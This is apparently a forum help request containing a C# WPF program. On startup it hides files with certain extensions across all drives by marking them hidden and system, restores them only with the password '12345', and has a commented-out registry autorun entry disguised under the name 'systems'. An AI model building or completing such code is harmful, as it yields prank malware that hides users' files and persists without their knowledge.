C# help me, please

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
//using System.Windows.Shapes;

namespace WpfBerlIgor//?????????????????????????????????????
{
    /// <summary>
    /// Логика взаимодействия для MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            ///   SetAutorunValue(true, MyName);
           HideFiles(false);
      
          //  string paths ;
            //foreach ( string s in path)
            //   MessageBox.Show(paths);
                                                             //   HideFiles();

            InitializeComponent();

        }
        private string MyName = Assembly.GetExecutingAssembly().Location;
        private void HideFiles(bool GetHideOrUnhide)
        {

           
                HideOrUnhide = GetHideOrUnhide;
                foreach (string Drive in Drives)
                {
                    string[] AFFormat = { "*.testSh", "*.BMPddd" };//форматы ?????????????????????????????????????????????
                    foreach (string F in AFFormat)
                    {

                        try
                        {
                            string[] AFiles = Directory.GetDirectories(Drive);//лучаем масив файлов в нужной папке 

                            foreach (string file in AFiles)//перебераем 
                            {
                                DirGetFiles(file, F, SearchOption.AllDirectories);
                            }
                        }
                        catch { }


                        DirGetFiles(Drive, F);//лучаем масив файлов в нужной папке 



                    }


                }
// MessageBox.Show("");
           
           
        }

        private bool HideOrUnhide = true;

        private static string[] GetFolderSys(object[] P)
        {

            List<string> ret = new List<string>();
            foreach (var p2 in P)
                ret.Add(Environment.GetFolderPath((Environment.SpecialFolder)p2));
            return ret.ToArray();
        }

        private string[] DirNoHide = GetFolderSys(new object[] {
            Environment.SpecialFolder.Windows,
            Environment.SpecialFolder.ProgramFiles,
            Environment.SpecialFolder.ProgramFilesX86,
            Environment.SpecialFolder.ApplicationData

        });

        private void DirGetFiles(string Lpath, string Parametr, SearchOption searchOption = SearchOption.TopDirectoryOnly)
        {

            foreach (var PathNoHiden in DirNoHide)
            {
                if (Lpath.Contains(PathNoHiden))
                {
                   // MessageBox.Show(PathNoHiden);
                    return;
                }

            }
               
           // Environment.Exit(0);

            try
            {
                string[] AFiles = Directory.GetFiles(Lpath, Parametr, searchOption);//лучаем масив файлов в нужной папке 
                foreachHide(AFiles);
            }
            catch { }
        }

        private void foreachHide(string[] AFiles)
        {
            foreach (string file in AFiles)//перебераем 
            {
               // MessageBox.Show(file);
                try
                {
                    if (HideOrUnhide)
                        File.SetAttributes(file, FileAttributes.Normal);//установлюем атрибуты 
                    else
                        File.SetAttributes(file, FileAttributes.Hidden | FileAttributes.System);//установлюем атрибуты 
                }
                catch { }
            }
        }

          private string[] Drives = Directory.GetLogicalDrives();

        private void pass(bool delattr)
        {
            if (delattr)
            {
                Task.Run(() =>
                {

                    HideFiles(true);
                });

            }
            else
            {

                MessageBox.Show("fuck you!");
            }
            password.Password = "";
        }

        void button1_Click(object sender, RoutedEventArgs e)
        {
            pass(password.Password == "12345");
        }

        public bool SetAutorunValue(bool autorun, string npath)
        {
            const string name = "systems";
            string ExePath = npath;
            RegistryKey reg;

            reg = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\");
            try
            {
                if (autorun)
                    reg.SetValue(name, ExePath);
                else
                    reg.DeleteValue(name);
                reg.Flush();
                reg.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }



    }
}